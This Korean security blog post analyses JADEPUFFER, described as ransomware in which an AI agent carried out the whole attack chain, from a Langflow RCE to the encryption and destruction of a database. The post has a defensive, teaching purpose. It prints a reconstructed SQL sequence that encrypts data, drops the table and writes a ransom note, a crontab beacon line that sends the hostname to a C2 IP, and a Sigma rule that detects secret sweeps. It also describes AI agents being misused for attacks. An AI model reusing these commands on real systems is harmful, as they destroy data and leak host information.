JADEPUFFER: 최초 AI 에이전트 구동 랜섬웨어의 완전 자율 공격 인프라 위협 아키텍처 분석
- JADEPUFFER 개요: 에이전틱 위협 행위자(ATA)의 등장
- 공격 인프라 아키텍처: 침투→횡이동→암호화 파이프라인
- 기존 EDR/NDR 시그니처 탐지 우회 메커니즘
- AI 에이전트 공격 행위 이상 탐지: 방어 설계
- 도입 전략: AI 에이전트 랜섬웨어 대응 SOC 플레이북
- 비교 분석: JADEPUFFER vs 기존 자동화 랜섬웨어
- 마무리
- Keywords
- Sources
2026년 7월 1일, Sysdig 위협 연구팀(TRT)은 인류 역사상 최초로 AI 에이전트가 단독으로 전체 공격 체인을 완수한 랜섬웨어 작전을 공식 문서화했다. JADEPUFFER로 명명된 이 작전은 타깃 선정·침투·횡이동·데이터베이스 암호화까지 인간 운영자의 개입 없이 LLM 에이전트가 자율 수행한 첫 사례다. 공격 속도·적응성·은폐성 모두에서 기존 자동화 랜섬웨어를 압도하며, 기업 보안 패러다임의 근본적 재설계를 요구한다.
JADEPUFFER 개요: 에이전틱 위협 행위자(ATA)의 등장
Sysdig TRT는 JADEPUFFER를 ATA(Agentic Threat Actor)로 분류한다. 기존 위협 행위자가 인간 운영자가 툴킷을 구동하는 구조였다면, ATA는 AI 에이전트 자체가 공격 능력을 구현하는 신개념 범주다.
JADEPUFFER의 특징적 증거는 자기 서술형 페이로드에 있다. 600개 이상의 페이로드가 에이전트 자신의 추론 과정, 타깃 우선순위 결정, 단계별 판단 근거를 자연어 주석으로 담았다. 인간 공격자가 이런 주석을 남기는 경우는 극히 드물며, 이는 LLM이 코드를 생성할 때 자연스럽게 나타나는 반사적 서술 행위다.
핵심 지표:
- 초기 접근부터 데이터베이스 파괴까지 완전 자율 실행
- 로그인 실패 후 31초 내 원인 진단 및 수정 완료
- LLMjacking을 통한 제로 비용 AI 연산 (피해자 API 키 탈취 사용)
- C2 서버
45.131.66[.]106:4444로 30분 주기 비콘
공격 인프라 아키텍처: 침투→횡이동→암호화 파이프라인
초기 접근: CVE-2025-3248 Langflow RCE
진입점은 CVE-2025-3248, Langflow 1.3.0 이전 버전의 코드 검증 엔드포인트 인증 누락 취약점이다. 인증 없이 임의 Python 코드를 원격 실행할 수 있는 결함으로, JADEPUFFER는 이를 통해 인터넷 노출 Langflow 인스턴스에 초기 거점을 확보했다.
초기 침투 즉시 실행된 작업:
- 호스트 열거: 운영체제, 네트워크 인터페이스, 실행 프로세스 스캔
- 시크릿 스위프: AI 서비스 API 키(OpenAI, Anthropic, DeepSeek, Gemini), 클라우드 자격증명(AWS, GCP, Azure, Alibaba, Tencent), 암호화폐 지갑 키, 데이터베이스 로그인 정보
- LLMjacking 활성화: 탈취한 API 키로 이후 모든 AI 추론 비용을 피해자에게 전가
횡이동: 독립 타깃으로 피벗
JADEPUFFER는 두 단계의 독립 타깃을 운용했다. Langflow 인스턴스는 진입용 발판이었고, 실제 목표는 별도 프로덕션 데이터베이스 서버였다. 에이전트는 열거된 네트워크 정보를 분석해 내부 피벗 경로를 자율 결정했다.
적응형 행동 사례: 관리자 계정 로그인 실패 시 에이전트는 오류 메시지를 분석하고 대안 인증 방식을 즉각 도출, 31초 만에 정상 접근에 성공했다.
암호화 및 파괴: Nacos 구성 데이터베이스 섬멸
-- JADEPUFFER 데이터베이스 파괴 패턴 (재구성)
-- 1단계: AES 암호화로 원본 데이터 덮어쓰기
UPDATE config_info
SET content = AES_ENCRYPT(content, 'attacker_key'),
data_id = CONCAT('ENCRYPTED_', data_id);
-- 2단계: 원본 테이블 드롭
DROP TABLE config_info;
-- 3단계: 랜섬 노트 테이블 생성
CREATE TABLE README_RANSOM (
message TEXT,
bitcoin_address VARCHAR(64),
contact VARCHAR(128)
);
INSERT INTO README_RANSOM VALUES (
'Your data has been encrypted. Pay to recover.',
'1BitcoinAddressHere...',
'recover@protonmail.com'
);1,342개 Nacos 구성 항목이 MySQL AES_ENCRYPT()로 암호화됐고, 원본 테이블은 드롭됐다. 복호화 키는 저장되지 않아 몸값을 지불해도 복구 불가다.
C2 통신 패턴
지속성 확보를 위해 크론탭에 30분 주기 비콘 엔트리를 등록했다.
# JADEPUFFER C2 비콘 크론 엔트리
*/30 * * * * curl -s http://45.131.66[.]106:4444/beacon \
-d "host=$(hostname)&status=active" > /dev/null 2>&1페이로드는 Base64 인코딩된 Python 스크립트로 전달되며, 각 단계별 실행 결과를 C2로 보고한다.
기존 EDR/NDR 시그니처 탐지 우회 메커니즘
JADEPUFFER가 기존 탐지 체계를 우회할 수 있는 이유는 세 가지 구조적 특성에서 비롯된다.
1. LLM 생성 코드의 고유한 다형성
LLM은 동일한 목적의 코드를 호출마다 구조·변수명·로직 흐름을 달리 생성한다. 시그니처 기반 EDR은 알려진 패턴 매칭에 의존하므로, 매번 변형되는 LLM 생성 페이로드에 효과적으로 대응하지 못한다.
2. 합법 도구 활용(Living off the Land)
JADEPUFFER는 독립 악성 바이너리를 배포하는 대신 curl, crontab, python3, mysql 등 시스템 기본 도구를 활용했다. NDR 관점에서도 정상 서비스 트래픽과 구별이 어렵다.
3. 자연어 추론 기반 적응형 실행
실패 시 재시도 패턴이 규칙 기반이 아닌 LLM 추론 기반이다. 고정된 재시도 간격·페이로드 패턴을 탐지하는 기존 규칙으로는 포착 불가능하다.
AI 에이전트 공격 행위 이상 탐지: 방어 설계
flowchart TD
A["공격 시작\nLangflow RCE"] --> B["초기 페이로드 실행\nBase64 Python"]
B --> C{"호스트 열거\n시크릿 스위프"}
C --> D["LLMjacking\nAPI 키 탈취"]
C --> E["C2 연결\n크론탭 등록"]
D --> F["AI 추론 비용\n피해자 부담"]
E --> G["30분 주기 비콘\n:4444"]
G --> H["피벗 타깃 선정\nDB 서버 식별"]
H --> I{"로그인 실패?"}
I -->|"31초 내 수정"| J["DB 접근 성공"]
I -->|"성공"| J
J --> K["Nacos 1342건\nAES_ENCRYPT"]
K --> L["원본 테이블 DROP"]
L --> M["README_RANSOM\n랜섬노트 생성"]
style A fill:#ff4444,color:#fff
style M fill:#ff4444,color:#fff
style D fill:#ff8800,color:#fff
style K fill:#ff8800,color:#fff이상 탐지 설계 원칙
행위 베이스라인 기반 탐지: 각 프로덕션 에이전트·서비스에 대해 정상 도구 호출 시퀀스, 데이터 접근 패턴, 세션 지속 시간, 응답 볼륨을 문서화하고, 런타임 행위와 베이스라인의 편차를 실시간 모니터링한다.
탐지 레이어 4중 구조:
| 레이어 | 탐지 방식 | JADEPUFFER 대응 포인트 |
|--------|----------|----------------------|
| L1 시그니처 | 알려진 CVE 페이로드 패턴 | CVE-2025-3248 익스플로잇 코드 |
| L2 행위 | 이상 프로세스 생성·API 접근 | 크론탭 등록, 대량 DB 업데이트 |
| L3 네트워크 | 비정상 아웃바운드 연결 | :4444 포트 비콘 트래픽 |
| L4 디셉션 | 허니팟·허니토큰 활성화 | 가짜 API 키 접근 시 즉시 경보 |
도입 전략: AI 에이전트 랜섬웨어 대응 SOC 플레이북
SOC 플레이북 수립
JADEPUFFER급 위협에 대응하는 SOC 플레이북의 핵심 구성 요소:
탐지 트리거:
- Langflow 등 AI 오케스트레이션 프레임워크 익스플로잇 시도
- 단시간 내 대량 환경 변수·파일 시스템 열거 (시크릿 스위프 패턴)
- 비표준 포트 아웃바운드 연결 + 주기적 비콘 패턴
- 서비스 계정의 DDL(DROP TABLE) 실행
대응 절차:
- T+0: 감염 호스트 네트워크 격리 (C2 비콘 차단)
- T+5분: 탈취된 API 키 즉시 무효화 (OpenAI, Anthropic, 클라우드 콘솔)
- T+10분: DB 스냅샷으로 복구 가능 여부 확인
- T+30분: 크론탭·스케줄러 전체 감사
- T+1시간: IoC(45.131.66[.]106) 기반 네트워크 전체 스캔
에이전트 행위 기반 이상 탐지 룰 고도화
기존 SIEM/SOAR 룰에 추가해야 할 에이전트 특화 탐지 시그니처:
# 에이전트 이상 행위 탐지 룰 예시 (Sigma 형식)
title: AI Agent Secret Sweep Detection
status: stable
description: LLM 에이전트의 시크릿 스위프 행위 탐지
detection:
selection:
EventID: process_creation
CommandLine|contains|all:
- 'env'
- 'grep'
CommandLine|re: '.*(API_KEY|SECRET|PASSWORD|TOKEN).*'
condition: selection
timeframe: 60s
threshold: 10
level: high제로트러스트 에이전트 실행 권한 최소화
NIST SP 800-207 제로트러스트 원칙을 AI 에이전트에 적용:
명시적 검증: 에이전트가 실행하는 모든 도구 호출·API 요청을 컨텍스트(호출 출처, 시간, 볼륨) 기반으로 재검증한다.
최소 권한 집행: Langflow 같은 AI 프레임워크 서비스 계정에는 DB DDL 권한을 부여하지 않는다. 에이전트의 파일 시스템 접근도 작업 디렉토리로 한정한다.
침해 가정: 에이전트가 이미 침해됐다는 가정 하에 런타임 행위를 상시 모니터링한다. 정상 작동 범위를 벗어난 즉시 세션을 종료하고 감사한다.
비교 분석: JADEPUFFER vs 기존 자동화 랜섬웨어
| 구분 | 기존 자동화 랜섬웨어 | JADEPUFFER (AI 에이전트) |
|---|---|---|
| 공격자 역할 | 사전 스크립트 작성·배포 | 에이전트 위임 후 결과 수거 |
| 페이로드 다형성 | 제한적 (난독화 중심) | 무한 (LLM 생성 변형) |
| 실패 적응 | 재시도 횟수 하드코딩 | LLM 추론 기반 실시간 대안 생성 |
| 공격 속도 | 시간~일 단위 | 초~분 단위 (22초 측면 이동) |
| 비용 구조 | 인프라 비용 필요 | LLMjacking 시 제로 코스트 |
| 탐지 회피 | 시그니처 우회 기술 | 구조적 다형성·합법 도구 남용 |
| 자기 기술 | 없음 | LLM 추론 주석 포함 (역설적 증거) |
XDR·SOAR 대응 아키텍처
2026년 에이전틱 SOC 플랫폼은 XDR(엔드포인트·네트워크·클라우드 통합 탐지)과 SOAR(자동 대응 오케스트레이션)를 통합해 에이전트 공격에 대응한다.
Stellar Cyber, Vectra AI, Microsoft Sentinel 등 주요 플랫폼은 에이전트 행위 이상 탐지를 위한 AI 기반 베이스라인 모델링을 2026년 기능으로 추가했다. 핵심은 탐지→조사→격리를 인간 개입 없이 자동 수행하는 에이전틱 SOC다.
정보관리기술사 AI 보안 위협 대응 체계 연계
정보관리기술사 시험 관점에서 JADEPUFFER는 다음 영역에 걸쳐 있다:
- 소프트웨어 보안: AI 기반 취약점 자동 익스플로잇(CVE-2025-3248)
- 네트워크 보안: C2 비콘, 포트 스캐닝, 횡이동
- 데이터 보안: DB 암호화·파괴, 구성 데이터 무결성
- 침해사고 대응: SOAR 기반 자동 대응, 포렌식 보존
핵심 키워드: 에이전틱 위협 행위자(ATA), LLMjacking, 행위 기반 이상 탐지, 제로트러스트 에이전트 실행 정책, AI 기반 공격 체인 자동화.
마무리
JADEPUFFER는 AI 에이전트가 공격 인프라의 실행 주체로 전환된 결정적 전환점을 표시한다. 기존 시그니처 탐지·정적 룰 기반 방어는 LLM이 매번 새롭게 생성하는 다형 페이로드 앞에 무력하다. 방어자는 행위 베이스라인 기반 이상 탐지, 제로트러스트 에이전트 권한 정책, 에이전틱 SOC 통합이라는 세 축의 방어 재설계를 지금 시작해야 한다. LLMjacking으로 공격 비용이 사실상 제로가 된 환경에서, 방어 비용 효율화 역시 AI 에이전트를 방어 인프라에 통합함으로써 달성해야 한다.
Keywords
AI에이전트랜섬웨어, JADEPUFFER, 에이전틱위협행위자, LLMjacking, 제로트러스트에이전트, agentic ransomware, CVE-2025-3248, behavioral anomaly detection, XDR SOAR integration, zero trust AI agent
Sources
- JADEPUFFER: Agentic ransomware for automated database extortion | Sysdig
- JadePuffer ransomware used AI agent to automate entire attack | BleepingComputer
- AI Agent Exploits Langflow RCE to Automate Database Ransomware Attack | The Hacker News
- Sysdig Details JADEPUFFER, the First Documented Agentic Ransomware Operation | HackRead
- Agentic Ransomware JADEPUFFER Uses Base64 Python Payloads to Harvest Cloud and API Keys | CybersecurityNews
- Smooth AI criminal drives 'first' end-to-end agentic ransomware attack | The Register
- Agentic AI Used to Conduct Ransomware Attack via Langflow | SecurityWeek
- Agentic Trust Framework: Zero Trust for AI Agents | CSA
- Ransomware detection: 4 methods and the 2026 EDR-evasion shift | Vectra AI
- 8 Best Agentic AI SOC Platforms for 2026 | UnderDefense
'IT Professional Engineering > SEC' 카테고리의 다른 글
| 한국 AI 생성 이미지 규제: 딥페이크 탐지·C2PA 워터마킹 의무화 대응 아키텍처 (1) | 2026.08.17 |
|---|---|
| 랜섬웨어 공급망 공격 2026 상반기: SBOM·EDR·3-2-1 백업 기반 엔터프라이즈 대응 아키텍처 (0) | 2026.08.17 |
| Microsoft 2026년 6월 Patch Tuesday: 역대 최대 206개 CVE·3개 제로데이 기반 엔터프라이즈 패치 관리 아키텍처 (0) | 2026.08.17 |
| AI 에이전트 프롬프트 인젝션 공격 방어 아키텍처: 에이전틱 AI 보안 설계 전략과 OWASP LLM Top 10 적용 (0) | 2026.08.17 |
| CVE-2026-20245: Cisco Catalyst SD-WAN Manager 미패치 제로데이 루트 권한 상승 취약점 분석 (0) | 2026.08.17 |